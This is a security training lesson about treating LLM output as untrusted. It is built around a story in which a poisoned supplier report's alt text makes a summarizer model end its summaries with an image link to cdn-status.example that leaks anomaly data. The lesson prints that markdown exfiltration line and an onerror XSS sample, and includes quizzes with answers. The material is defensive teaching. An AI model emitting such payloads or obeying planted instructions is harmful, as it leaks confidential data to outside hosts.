✳ Field lesson AI3 / 16 min

Treat model output as untrusted input

Model output can carry whatever an attacker put into the model's input. When it reaches a browser, a query, a shell or a tool, treat it as untrusted. Encode it for the place it lands, and do not trust the model to clean it.

aioutput-handlingxssexfiltrationCISSP D8Security+ (SY0-801) D2CCSP D4

Helpful first: Jailbreak or prompt injection: who is attacked? · Trust boundaries: the server decides

Thirty days to Halcyon · Case 15: The model from outside · Episode 3 of 4

Thursday. Nyx, the Threat Hunter, has the web proxy log open and a fresh label on her monitor: outbound. On Wednesday at 08:52, a browser showing the ops dashboard fetched an image from cdn-status.example.

The request's address holds lines of text Nyx recognizes. They come from suppliers' anomaly reports that only Meridian should have.

Dax Mercer, Software Engineer, owns the dashboard. "We never show outside images." Nyx turns her screen toward him. "Then what did the page send?"

By the end you can

  • Name the places model output can cause harm: browsers, shells, queries, and other tools
  • Encode or constrain output for the place it is used
  • Explain how a rendered image link can carry data out of a page

Model output is input to the next system

A model's answer is not the end of the line. pathfinder-7b writes markdown, a plain-text format in which symbols mark headings, links and images. The dashboard turns that markdown into HTML, and a browser renders the HTML. Each step acts on what the step before it wrote.

Anyone who can shape a model's input can shape its output. Wednesday's supplier report showed that an outsider can. So the summary deserves the same trust as the supplier's text, which is none. OWASP's 2026 list for LLM applications calls this risk improper output handling, LLM10. Its advice is to treat the model like any other user, with zero trust.

That puts a trust boundary between the model and every system that uses its output. The rule is old. Text from a web form is encoded or checked before a page, a database or a shell acts on it. Model output gets the same treatment, whoever wrote the model.

Four places output lands, four controls

A sink is the place where data is finally used, such as a web page or a database query. Model output usually lands in one of four. Each fails in its own way and needs its own control.

In a web page, markup in the output becomes part of the page. Script that runs this way is cross-site scripting (XSS). The default control is output encoding for the context. Text placed in the page body is HTML-encoded, text placed in an attribute is attribute-encoded, and so on. Most web frameworks do this unless the code opts out.

In a database query, output pasted into SQL text becomes SQL. Bind it as a parameter instead, so the database treats it as a value. In a shell, output pasted into a command line becomes a command. Do not hand model output to a shell. Call one fixed program, with arguments picked from a list.

In another tool, output becomes an action, which the excessive agency lesson covers. Encoding is the default for display. Sanitizing strips dangerous markup and keeps the rest. Keep it for the rare page that must show real HTML.

Where model output lands, what goes wrong, and the control
SinkWhat goes wrongControl
Text in a web pageMarkup in the output runs as part of the page (XSS)Encode for the context it lands in
An image, link or link preview in a pageThe browser or the server contacts an address the attacker choseLoad only from listed hosts, and show every link's full address
A database queryOutput becomes SQL (SQL injection)Bind output as a parameter, never as query text
A shellOutput becomes a command (command injection)No shell. One fixed program, with arguments from an allow-list
Another toolOutput becomes an actionNarrow tools, and a gate outside the model

SORT IT OUT

Dax lists five places the summarizer's output could go next. Which control fits each one?

  1. A summary paragraph shown on the dashboard

  2. An anomaly ID the model pulled out, used to look up the record in the database

  3. The export format the model picks: CSV, PDF, or JSON

  4. The address of an image in a summary

  5. A supplier's name shown in a page heading

Show the answers
  1. Encode as text. The page needs to show the words, never run them. HTML encoding does exactly that.
  2. Bind as a parameter. A bound parameter is always a value. It cannot change the shape of the query.
  3. Pick from an allow-list. There are three valid answers. Anything else is refused before it reaches the exporter.
  4. Pick from an allow-list. Only hosts Meridian controls are allowed. Any other address is shown as text and never fetched.
  5. Encode as text. A heading is still page content. A name can hold markup, so it is encoded like any other text.

SPOT THE PROBLEM

These are the dashboard's renderer settings as Nyx found them on Thursday. Flag each setting that lets model output do more than show text in the reader's browser.

Show the answers
  • Raw HTML inside markdown: passed through to the page Any tag the model writes becomes part of the page, script included.
  • Images: any address that starts with https An attacker's host has a certificate too. The browser fetches whatever address the summary names.
  • Links: show the link text, hide the address A link that reads full report can point anywhere, and nobody can tell before clicking.

The image link that sent data out

Nyx follows the request back to its source. Wednesday's poisoned supplier report held a second instruction in its chart's alt text. It told the model to end every summary with a status image, at an address on cdn-status.example, with the summary's anomaly lines added to the address.

The model did as it was told. Its summary ended in markdown for an image: ![status](https://cdn-status.example/s.png?d=...), with anomaly text where the dots are. That morning's digest covered several suppliers, so their reports leaked too.

The dashboard turned the markdown into an image tag. A browser fetches an image as soon as the page loads, so nobody had to click anything. The request carried the query string to the outside host, where its owner could read it in a log.

No script ran in the browser, so this was not XSS. The page made a request the attacker chose. OWASP's LLM10 entry describes this case, where a chat page renders images from model output. It names link previews beside images. A link preview is a card the dashboard builds by fetching the linked page itself, so it can call out too. MITRE ATLAS lists the technique as AML.T0077, LLM Response Rendering.

YOUR CALL

Dax rewrites the renderer

Thursday, 11:00. The dashboard shows summaries as plain text while Dax decides how they should render.

  1. Dax's first idea is to tell the model never to write image links.

  2. Engineers still want the diagrams that suppliers attach. What may the renderer load?

  3. Summaries also contain links to supplier documents. How should they show?

Show the strong calls
  1. Change the renderer instead, so the rule holds whatever the model writes. The rule now lives in code that a supplier's report cannot argue with.
  2. Images only from Meridian's own host, where attachments are copied after intake. Supplier diagrams still appear. An address on any other host is shown as text and never fetched.
  3. Show each link's full address beside its text. A link labelled full report that points at an outside host is plain to see before anyone clicks.

Fix it where the output lands

Dax's renderer now does three things. It encodes all model text for the page, so markup shows as characters and never becomes tags. It loads images only from Meridian's own host. And it shows each link's full address beside its text.

Model output carries whatever its input asked for, so the control sits where the output is used. The renderer stops the outside image, whatever the model wrote.

A rule in the renderer holds whatever the model writes. That is what an instruction in the prompt cannot promise. Dax adds a second layer in the browser. A Content Security Policy of img-src 'self' tells it to load images only from the dashboard's own origin, where attachments are copied after intake.

Where the next system needs a decision rather than prose, ask for structured output. The model fills fixed fields, such as an anomaly ID and a status from a short list. Code checks each field against a schema and an allow-list before anything uses it.

The values are still untrusted. A status field can say nominal when the report says open. The check limits what a wrong answer can be, so it stays small, visible, and easy to compare with the source.

WORKED EXAMPLE

One summary line, before and after the fix

  1. The line. A summary of a test report ends with Status: <b>nominal</b> <img src=x onerror=alert(1)>.
  2. Before, at the renderer. The old renderer passed HTML inside markdown straight through. The page got a bold tag and an image tag.
  3. Before, in the browser. The image address x fails to load, so the onerror handler runs alert(1) inside the dashboard. An attacker would read the page instead.
  4. After, at the renderer. The new renderer HTML-encodes the line. Each < becomes &lt; and each > becomes &gt;.
  5. After, in the browser. The page shows the characters <b>nominal</b> <img src=x onerror=alert(1)> as text. Nothing runs and nothing loads.

Result: The model wrote the same words both times. The renderer decided whether they were text or code.

CHECK YOUR JUDGMENT

Dax's team wants pathfinder-7b to power a search box. An engineer types a question, the model writes a SQL query, and the app runs it against the anomaly database with the app's read-write account. Nyx asks how the model's output should reach the database. What is the right design?

CASE FILE · CASE 15 · ENTRY 3 OF 4

Answer the closing question correctly to add this entry to your case file.

The image was a messenger

The dashboard rendered an image whose address carried anomaly text to an outside host. Now output is escaped as text and images load only from Meridian's host.

Next episode: The fixes hold on the cases we know. What about the ones we have not thought of?

Open the case file ↗

Review sheet: exam notes and quick reference

Find your next idea.

Tip: press / to open search. Escape closes this window.